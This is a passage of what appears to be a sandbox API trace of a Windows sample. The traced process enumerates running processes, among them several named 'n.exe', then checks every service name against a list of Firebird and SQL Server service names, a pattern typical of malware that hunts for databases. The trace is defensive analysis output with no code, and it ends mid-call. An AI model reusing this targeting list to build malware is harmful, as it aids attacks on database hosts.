hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.740] lstrlenW (lpString="svchost.exe") returned 11 [0172.740] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.740] lstrlenW (lpString="svchost.exe") returned 11 [0172.740] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.741] lstrlenW (lpString="svchost.exe") returned 11 [0172.741] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0172.741] lstrlenW (lpString="audiodg.exe") returned 11 [0172.741] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.741] lstrlenW (lpString="svchost.exe") returned 11 [0172.741] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0172.742] lstrlenW (lpString="explorer.exe") returned 12 [0172.742] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0172.742] lstrlenW (lpString="dwm.exe") returned 7 [0172.742] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.742] lstrlenW (lpString="svchost.exe") returned 11 [0172.742] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0172.743] lstrlenW (lpString="n.exe") returned 5 [0172.743] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0172.743] lstrlenW (lpString="spoolsv.exe") returned 11 [0172.743] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.743] lstrlenW (lpString="svchost.exe") returned 11 [0172.743] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.744] lstrlenW (lpString="taskhost.exe") returned 12 [0172.744] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0172.744] lstrlenW (lpString="reader_sl.exe") returned 13 [0172.744] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0172.744] lstrlenW (lpString="n.exe") returned 5 [0172.744] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0172.745] lstrlenW (lpString="n.exe") returned 5 [0172.745] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0172.745] CloseHandle (hObject=0x320) returned 1 [0172.745] Sleep (dwMilliseconds=0x1f4) [0173.485] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0173.486] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0173.487] GetLastError () returned 0xea [0173.487] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0173.487] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0173.488] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0173.488] lstrlenW (lpString="Appinfo") returned 7 [0173.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0173.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0173.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0173.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0173.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0173.488] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0173.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.488] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0173.488] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0173.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0173.489] lstrlenW (lpString="AudioSrv") returned 8 [0173.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0173.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0173.489] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0173.489] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0173.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0173.489] lstrlenW (lpString="BFE") returned 3 [0173.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0173.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0173.489] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0173.489] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0173.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0173.489] lstrlenW (lpString="CryptSvc") returned 8 [0173.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0173.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0173.489] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0173.489] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0173.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0173.489] lstrlenW (lpString="CscService") returned 10 [0173.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0173.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0173.489] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0173.489] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0173.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0173.489] lstrlenW (lpString="DcomLaunch") returned 10 [0173.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.490] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0173.490] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0173.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0173.490] lstrlenW (lpString="Dhcp") returned 4 [0173.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0173.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0173.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0173.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0173.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0173.490] lstrlenW (lpString="Dnscache") returned 8 [0173.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0173.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0173.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0173.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0173.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0173.490] lstrlenW (lpString="DPS") returned 3 [0173.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0173.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0173.490] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0173.490] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0173.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0173.490] lstrlenW (lpString="eventlog") returned 8 [0173.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0173.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0173.491] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0173.491] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0173.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0173.491] lstrlenW (lpString="EventSystem") returned 11 [0173.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0173.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0173.491] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0173.491] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0173.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0173.491] lstrlenW (lpString="gpsvc") returned 5 [0173.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0173.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0173.491] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0173.491] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0173.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0173.491] lstrlenW (lpString="iphlpsvc") returned 8 [0173.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.491] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0173.491] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0173.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0173.491] lstrlenW (lpString="LanmanServer") returned 12 [0173.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0173.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0173.492] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0173.492] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0173.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0173.492] lstrlenW (lpString="LanmanWorkstation") returned 17 [0173.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.492] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0173.492] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0173.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0173.492] lstrlenW (lpString="lmhosts") returned 7 [0173.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0173.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0173.492] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0173.492] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0173.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0173.492] lstrlenW (lpString="MMCSS") returned 5 [0173.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0173.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0173.492] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0173.492] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0173.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0173.492] lstrlenW (lpString="MpsSvc") returned 6 [0173.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0173.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0173.492] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0173.492] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0173.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0173.493] lstrlenW (lpString="Netman") returned 6 [0173.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0173.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0173.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0173.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0173.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0173.493] lstrlenW (lpString="netprofm") returned 8 [0173.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0173.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0173.493] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0173.493] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0173.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0173.493] lstrlenW (lpString="NlaSvc") returned 6 [0173.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0173.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0173.493] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0173.493] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0173.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0173.493] lstrlenW (lpString="nsi") returned 3 [0173.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0173.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0173.493] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0173.493] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0173.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0173.493] lstrlenW (lpString="PcaSvc") returned 6 [0173.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0173.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0173.494] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0173.494] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0173.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0173.494] lstrlenW (lpString="PlugPlay") returned 8 [0173.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0173.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0173.494] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0173.494] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0173.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0173.494] lstrlenW (lpString="Power") returned 5 [0173.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0173.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0173.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0173.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0173.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0173.494] lstrlenW (lpString="ProfSvc") returned 7 [0173.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0173.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0173.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0173.494] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0173.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0173.494] lstrlenW (lpString="RpcEptMapper") returned 12 [0173.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.495] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0173.495] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0173.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0173.495] lstrlenW (lpString="RpcSs") returned 5 [0173.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0173.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0173.495] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0173.495] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0173.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0173.495] lstrlenW (lpString="SamSs") returned 5 [0173.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0173.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0173.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0173.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0173.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0173.495] lstrlenW (lpString="Schedule") returned 8 [0173.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0173.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0173.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0173.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0173.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0173.495] lstrlenW (lpString="SENS") returned 4 [0173.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0173.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0173.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0173.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0173.496] lstrlenW (lpString="ShellHWDetection") returned 16 [0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.496] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0173.496] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0173.496] lstrlenW (lpString="Spooler") returned 7 [0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0173.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0173.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0173.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0173.496] lstrlenW (lpString="SysMain") returned 7 [0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0173.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0173.496] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0173.496] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0173.496] lstrlenW (lpString="Themes") returned 6 [0173.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0173.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0173.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0173.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0173.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0173.497] lstrlenW (lpString="TrkWks") returned 6 [0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0173.497] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0173.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0173.497] lstrlenW (lpString="UxSms") returned 5 [0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0173.497] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0173.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0173.497] lstrlenW (lpString="WdiServiceHost") returned 14 [0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0173.497] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0173.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0173.497] lstrlenW (lpString="WdiSystemHost") returned 13 [0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0173.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0173.497] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0173.497] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0173.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0173.497] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0173.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0173.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0173.498] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0173.498] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0173.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0173.498] lstrlenW (lpString="Winmgmt") returned 7 [0173.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") 